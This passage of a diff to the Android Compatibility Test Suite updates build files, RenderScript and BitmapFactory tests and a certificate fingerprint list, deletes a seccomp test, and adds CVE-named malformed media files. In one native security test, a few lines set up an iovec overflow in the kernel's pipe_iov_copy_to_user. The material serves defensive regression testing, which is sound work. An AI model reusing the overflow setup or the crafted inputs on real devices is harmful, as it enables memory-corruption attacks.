+ try (Cursor addrCursor = mContentResolver.query(addrUri, MMS_ADDR_PROJECTION,
MMS_ADDR_SELECTION, new String[]{String.valueOf(mmsId)}, null)) {
assertNotNull(addrCursor);
for (String addr : mmsAddresses) {
- addrCursor.moveToNext();
- assertEquals(addr, addrCursor.getString(0));
+ addrCursor.moveToNext();
+ assertEquals(addr, addrCursor.getString(0));
}
- }
- assertEquals(mmsAddresses.length, mContentResolver.delete(addrUri, MMS_ADDR_SELECTION,
+ }
+ assertEquals(mmsAddresses.length, mContentResolver.delete(addrUri, MMS_ADDR_SELECTION,
new String[]{String.valueOf(mmsId)}));
+ }
}
}
@@ -250,4 +263,3 @@
mUiAutomation);
}
}
-
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
index ffd3406..a923584 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
@@ -239,7 +239,7 @@
return;
if (expected != null && Arrays.equals(actual, expected))
return;
- throw new ComparisonFailure(message, expected.toString(), actual.toString());
+ throw new ComparisonFailure(message, Arrays.toString(expected), Arrays.toString(actual));
}
private int getColumnIndex(String columnName) {
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 00e751a..17a1373 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -28,7 +28,11 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner xmp_toolkit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ xmp_toolkit \
+ legacy-android-test \
+ compatibility-device-util
LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -38,7 +42,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java b/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
index 6d8c0a3..0e92955 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/RenderScriptTest.java
@@ -19,6 +19,9 @@
import android.renderscript.RenderScript;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.1.4.3/C-0-1")
public class RenderScriptTest extends AndroidTestCase {
/**
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
index 06eb606..5f17655 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
@@ -125,4 +125,11 @@
baselineOutputAlloc.copyTo(baselineOutputArray);
checkArray(baselineOutputArray, testOutputArray, Y, X, X);
}
+
+ public void testConsistency() {
+ s.invoke_testConsistency(testInputAlloc, testOutputAlloc);
+ mRS.finish();
+ waitForMessage();
+ checkForErrors();
+ }
}
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
index 5e35aa3..c3e322b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
@@ -27,9 +27,9 @@
}
void RS_KERNEL bar(int x, int y) {
- int a = rsGetElementAt_int(gAllocOut, x, y);
- a++;
- rsSetElementAt_int(gAllocOut, a, x, y);
+ int a = rsGetElementAt_int(gAllocOut, x, y);
+ a++;
+ rsSetElementAt_int(gAllocOut, a, x, y);
}
void testSingleInput(rs_allocation in, rs_allocation out) {
@@ -58,3 +58,19 @@
opts.yEnd = dimY;
rsForEachWithOptions(bar, &opts);
}
+
+void testConsistency(rs_allocation in, rs_allocation out) {
+ rsForEach(foo, in, out);
+ const uint32_t dimX = rsAllocationGetDimX(in);
+ const uint32_t dimY = rsAllocationGetDimY(in);
+ for (int i = 0; i < dimX; i++) {
+ for (int j = 0; j < dimY; j++) {
+ if (rsGetElementAt_int(out, i, j) != 2 * rsGetElementAt_int(in, i, j)) {
+ rsSendToClientBlocking(RS_MSG_TEST_FAILED);
+ return;
+ }
+ }
+ }
+ rsSendToClientBlocking(RS_MSG_TEST_PASSED);
+}
+
diff --git a/tests/tests/renderscriptlegacy/Android.mk b/tests/tests/renderscriptlegacy/Android.mk
index f29a290..8114642 100644
--- a/tests/tests/renderscriptlegacy/Android.mk
+++ b/tests/tests/renderscriptlegacy/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := 19
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 700fba3..0385573 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -35,7 +35,7 @@
LOCAL_RENDERSCRIPT_FLAGS := -Wno-error=deprecated-declarations
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index bdcf840..11957bf 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -36,7 +36,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(LOCAL_PATH)/librscpptest/Android.mk
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 36eafe2..5621c02 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -46,6 +46,7 @@
LOCAL_C_INCLUDES += frameworks/rs
LOCAL_CPPFLAGS := -std=c++11
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_SHARED_LIBRARIES := libdl liblog
LOCAL_STATIC_LIBRARIES := libRScpp_static
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index 498aa40..0c2a2b3 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index aa3e8d1..20609bc 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS SAX test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSaxTestCases.apk" />
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index 4657982..537a987 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -52,7 +52,7 @@
#LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index 118744e..fc6f515 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -28,7 +28,6 @@
android_security_cts_LinuxRngTest.cpp \
android_security_cts_NativeCodeTest.cpp \
android_security_cts_SELinuxTest.cpp \
- android_security_cts_SeccompTest.cpp \
android_security_cts_MMapExecutableTest.cpp \
android_security_cts_EncryptionTest.cpp \
@@ -46,4 +45,6 @@
LOCAL_C_INCLUDES += ndk/sources/cpufeatures
LOCAL_STATIC_LIBRARIES := cpufeatures
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index 835d1a6..2014591 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -49,11 +49,7 @@
return JNI_ERR;
}
- if (register_android_security_cts_SeccompTest(env)) {
- return JNI_ERR;
- }
-
- if (register_android_security_cts_KernelSettingsTest(env)) {
+ if (register_android_security_cts_KernelSettingsTest(env)) {
return JNI_ERR;
}
diff --git a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
index 9b8016e..8514f8b 100644
--- a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
@@ -20,6 +20,7 @@
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
+#include <sys/sysmacros.h>
/*
* Native methods used by
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index e64c1b4..e903ab7 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -263,18 +263,14 @@
* set up to overflow iov[OVERFLOW_BUF] on non-atomic redo in kernel
* function pipe_iov_copy_to_user
*/
- iovs[OVERFLOW_BUF - 1].iov_len = IOV_LEN*10;
- iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
- iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
-
- overflow_addr = mmap((void *) FIXED_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-
- bufs[OVERFLOW_BUF] = overflow_addr;
+ bufs[OVERFLOW_BUF] = mmap((void*)(FIXED_ADDR), PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (bufs[OVERFLOW_BUF] == MAP_FAILED) {
ALOGE("mmap fixed addr failed:%s", strerror(errno));
goto __close_pipe;
}
+ iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
+ iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
for (i = 0; i < BUFS; i++) {
if (i == OVERFLOW_BUF) {
diff --git a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp b/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
deleted file mode 100644
index ee36cdd..0000000
--- a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-
-#define LOG_TAG "SeccompTest"
-
-#include <cutils/log.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-/*
- * Function: testSyscallBlocked
- * Purpose: test that the syscall listed is blocked by seccomp
- * Parameters:
- * nr: syscall number
- * Returns:
- * 1 if blocked, else 0
- * Exceptions: None
- */
-static jboolean testSyscallBlocked(JNIEnv *, jobject, int nr) {
- int pid = fork();
- if (pid == 0) {
- ALOGI("Calling syscall %d", nr);
- int ret = syscall(nr);
- return false;
- } else {
- int status;
- int ret = waitpid(pid, &status, 0);
- if (ret != pid) {
- ALOGE("Unexpected return result from waitpid");
- return false;
- }
-
- if (WIFEXITED(status)) {
- ALOGE("syscall was not blocked");
- return false;
- }
-
- if (WIFSIGNALED(status)) {
- int signal = WTERMSIG(status);
- if (signal == 31) {
- ALOGI("syscall caused process termination");
- return true;
- }
-
- ALOGE("Unexpected signal");
- return false;
- }
-
- ALOGE("Unexpected status from syscall_exists");
- return false;
- }
-}
-
-static JNINativeMethod gMethods[] = {
- { "testSyscallBlocked", "(I)Z",
- (void*) testSyscallBlocked },
-};
-
-int register_android_security_cts_SeccompTest(JNIEnv* env)
-{
- jclass clazz = env->FindClass("android/security/cts/SeccompTest");
-
- return env->RegisterNatives(clazz, gMethods,
- sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/tests/tests/security/res/raw/b38116746_new.ico b/tests/tests/security/res/raw/b38116746_new.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/b38116746_new.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37662286.gif b/tests/tests/security/res/raw/bug_37662286.gif
new file mode 100644
index 0000000..f8ecc27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37662286.gif
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64836894.mp4 b/tests/tests/security/res/raw/bug_64836894.mp4
new file mode 100644
index 0000000..69b7f30
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64836894.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_6712.mp3 b/tests/tests/security/res/raw/cve_2016_6712.mp3
new file mode 100644
index 0000000..7804a75
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_6712.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0599.mp4 b/tests/tests/security/res/raw/cve_2017_0599.mp4
new file mode 100644
index 0000000..796867b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0599.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0600.mp4 b/tests/tests/security/res/raw/cve_2017_0600.mp4
new file mode 100644
index 0000000..1d91295
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0600.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0643.mp4 b/tests/tests/security/res/raw/cve_2017_0643.mp4
new file mode 100644
index 0000000..ee939a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0643.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0687.mp4 b/tests/tests/security/res/raw/cve_2017_0687.mp4
new file mode 100644
index 0000000..03b9d3a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0687.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0728.mp4 b/tests/tests/security/res/raw/cve_2017_0728.mp4
new file mode 100644
index 0000000..372eb69
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0728.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0762.mp4 b/tests/tests/security/res/raw/cve_2017_0762.mp4
new file mode 100644
index 0000000..e8cc2cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0762.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0857.mp4 b/tests/tests/security/res/raw/cve_2017_0857.mp4
new file mode 100644
index 0000000..bcc31f7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0857.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index cd92611..bed8e32 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -52,7 +52,7 @@
String result = null;
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd)))) {
- Pattern p = Pattern.compile("^([a-f0-9]+)\\-.+\\[" + mappingName + "\\]$");
+ Pattern p = Pattern.compile("^([a-f0-9]+).*" + mappingName + ".*");
String line;
while ((line = reader.readLine()) != null) {
@@ -100,7 +100,8 @@
}
public void testRandomization() throws Exception {
- testMappingEntropy("stack");
+ testMappingEntropy("\\[stack\\]");
+ testMappingEntropy("/system/bin/");
}
public void testOneExecutableIsPie() throws IOException {
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index c8bfbb1..203db12 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -17,30 +17,56 @@
package android.security.cts;
import android.graphics.BitmapFactory;
+import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
import java.io.InputStream;
+import java.lang.Exception;
+
import android.security.cts.R;
@SecurityTest
public class BitmapFactorySecurityTests extends AndroidTestCase {
- private InputStream getResource(int resId) {
- InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
- assertNotNull(resource);
- return resource;
+ private FileDescriptor getResource(int resId) {
+ try {
+ InputStream is = mContext.getResources().openRawResource(resId);
+ assertNotNull(is);
+ File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
+ file.deleteOnExit();
+ FileOutputStream output = new FileOutputStream(file);
+ byte[] buffer = new byte[1024];
+ int readLength;
+ while ((readLength = is.read(buffer)) != -1) {
+ output.write(buffer, 0, readLength);
+ }
+ is.close();
+ output.close();
+ ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+ ParcelFileDescriptor.MODE_READ_ONLY);
+ return pfd.getFileDescriptor();
+ } catch (Exception e) {
+ fail("Could not get resource " + resId + "! " + e);
+ return null;
+ }
}
/**
- * Verifies that decoding a corrupt ICO does not run out of memory.
+ * Verifies that decoding a corrupt ICO does crash.
*/
public void test_android_bug_38116746() {
- InputStream exploitImage = getResource(R.raw.bug_38116746);
+ FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
- BitmapFactory.decodeStream(exploitImage);
+ BitmapFactory.decodeFileDescriptor(exploitImage);
} catch (OutOfMemoryError e) {
fail("OOM attempting to decode ICO");
}
+
+ // This previously crashed in fread. No need to check the output.
+ BitmapFactory.decodeFileDescriptor(getResource(R.raw.b38116746_new));
}
}
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index 61456af..b880f5f 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -29,18 +29,12 @@
static final String[] CERTIFICATE_DATA = {
"91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
"22:FD:D0:B7:FD:A2:4E:0D:AC:49:2C:A0:AC:A6:7B:6A:1F:E3:F7:66",
- "4A:65:D5:F4:1D:EF:39:B8:B8:90:4A:4A:D3:64:81:33:CF:C7:A1:D1",
- "16:32:47:8D:89:F9:21:3A:92:00:85:63:F5:A4:A7:D3:12:40:8A:D6",
"D1:CB:CA:5D:B2:D5:2A:7F:69:3B:67:4D:E5:F0:5A:1D:0C:95:7D:F0",
- "4D:23:78:EC:91:95:39:B5:00:7F:75:8F:03:3B:21:1E:C5:4D:8B:CF",
- "E7:B4:F6:9D:61:EC:90:69:DB:7E:90:A7:40:1A:3C:F4:7D:4F:E8:EE",
"C4:18:F6:4D:46:D1:DF:00:3D:27:30:13:72:43:A9:12:11:C6:75:FB",
"69:69:56:2E:40:80:F4:24:A1:E7:19:9F:14:BA:F3:EE:58:AB:6A:BB",
"92:5A:8F:8D:2C:6D:04:E0:66:5F:59:6A:FF:22:D8:63:E8:25:6F:3F",
"75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
- "E1:9F:E3:0E:8B:84:60:9E:80:9B:17:0D:72:A8:C5:BA:6E:14:09:BD",
"DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
- "4F:99:AA:93:FB:2B:D1:37:26:A1:99:4A:CE:7F:F0:05:F2:93:5D:1E",
"74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
"40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
"F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
@@ -52,13 +46,11 @@
"8E:1C:74:F8:A6:20:B9:E5:8A:F4:61:FA:EC:2B:47:56:51:1A:52:C6",
"27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4",
"AD:7E:1C:28:B0:64:EF:8F:60:03:40:20:14:C3:D0:E3:37:0E:B5:8A",
- "FB:ED:DC:90:65:B7:27:20:37:BC:55:0C:9C:56:DE:BB:F2:78:94:E1",
"8D:17:84:D5:37:F3:03:7D:EC:70:FE:57:8B:51:9A:99:E6:10:D7:B0",
"1F:24:C6:30:CD:A4:18:EF:20:69:FF:AD:4F:DD:5F:46:3A:1B:69:AA",
"DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
"74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
- "3E:2B:F7:F2:03:1B:96:F3:8C:E6:C4:D8:A8:5D:3E:2D:58:47:6A:0F",
- "A3:F1:33:3F:E2:42:BF:CF:C5:D1:4E:8F:39:42:98:40:68:10:D1:A0",
+ "31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
"5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
"2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
"79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -73,7 +65,6 @@
"50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
"FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
"1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
- "77:47:4F:C6:30:E4:0F:4C:47:64:3F:84:BA:B8:C6:95:4A:8A:41:EC",
"8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
"2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
"BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -82,7 +73,6 @@
"36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
"1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
"6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
- "A9:E9:78:08:14:37:58:88:F2:05:19:B0:6D:2B:0D:2B:60:16:90:7D",
"D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
"66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
"DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -91,7 +81,6 @@
"06:08:3F:59:3F:15:A1:04:A0:69:A4:6B:A9:03:D0:06:B7:97:09:91",
"CA:BD:2A:79:A1:07:6A:31:F2:1D:25:36:35:CB:03:9D:43:29:A5:E8",
"43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
- "8A:5C:8C:EE:A5:03:E6:05:56:BA:D8:1B:D4:F6:C9:B0:ED:E5:2F:E0",
"F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
"05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
"62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
@@ -117,17 +106,14 @@
"9F:F1:71:8D:92:D5:9A:F3:7D:74:97:B4:BC:6F:84:68:0B:BA:B6:66",
"B5:61:EB:EA:A4:DE:E4:25:4B:69:1A:98:A5:57:47:C2:34:C7:D9:71",
"07:E0:32:E0:20:B7:2C:3F:19:2F:06:28:A2:59:3A:19:A7:0F:06:9E",
- "B9:42:94:BF:91:EA:8F:B6:4B:E6:10:97:C7:FB:00:13:59:B6:76:CB",
"D6:DA:A8:20:8D:09:D2:15:4D:24:B5:2F:CB:34:6E:B2:58:B2:8A:58",
"32:3C:11:8E:1B:F7:B8:B6:52:54:E2:E2:10:0D:D6:02:90:37:F0:96",
- "E7:A1:90:29:D3:D5:52:DC:0D:0F:C6:92:D3:EA:88:0D:15:2E:1A:6B",
"79:91:E8:34:F7:E2:EE:DD:08:95:01:52:E9:55:2D:14:E9:58:D5:7E",
"67:65:0D:F1:7E:8E:7E:5B:82:40:A4:F4:56:4B:CF:E2:3D:69:C6:F0",
"FE:B8:C4:32:DC:F9:76:9A:CE:AE:3D:D8:90:8F:FD:28:86:65:64:7D",
"4A:BD:EE:EC:95:0D:35:9C:89:AE:C7:52:A1:2C:5B:29:F6:D6:AA:0C",
"33:9B:6B:14:50:24:9B:55:7A:01:87:72:84:D9:E0:2F:C3:D2:D8:E9",
"DD:FB:16:CD:49:31:C9:73:A2:03:7D:3F:C8:3A:4D:7D:77:5D:05:E4",
- "2A:B6:28:48:5E:78:FB:F3:AD:9E:79:10:DD:6B:DF:99:72:2C:96:E5",
"36:B1:2B:49:F9:81:9E:D7:4C:9E:BC:38:0F:C6:56:8F:5D:AC:B2:F7",
"37:F7:6D:E6:07:7C:90:C5:B1:3E:93:1A:B7:41:10:B4:F2:E4:9A:27",
"AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
@@ -157,7 +143,6 @@
"DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
"F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
"AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
- "D2:7A:D2:BE:ED:94:C0:A1:3C:C7:25:21:EA:5D:71:BE:81:19:F3:2B",
"5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
"F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
"9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
@@ -166,22 +151,16 @@
"D8:A6:33:2C:E0:03:6F:B1:85:F6:63:4F:7D:6A:06:65:26:32:28:27",
"01:0C:06:95:A6:98:19:14:FF:BF:5F:C6:B0:B6:95:EA:29:E9:12:A6",
"0F:F9:40:76:18:D3:D7:6A:4B:98:F0:A8:35:9E:0C:FD:27:AC:CC:ED",
- "CC:AB:0E:A0:4C:23:01:D6:69:7B:DD:37:9F:CD:12:EB:24:E3:94:9D",
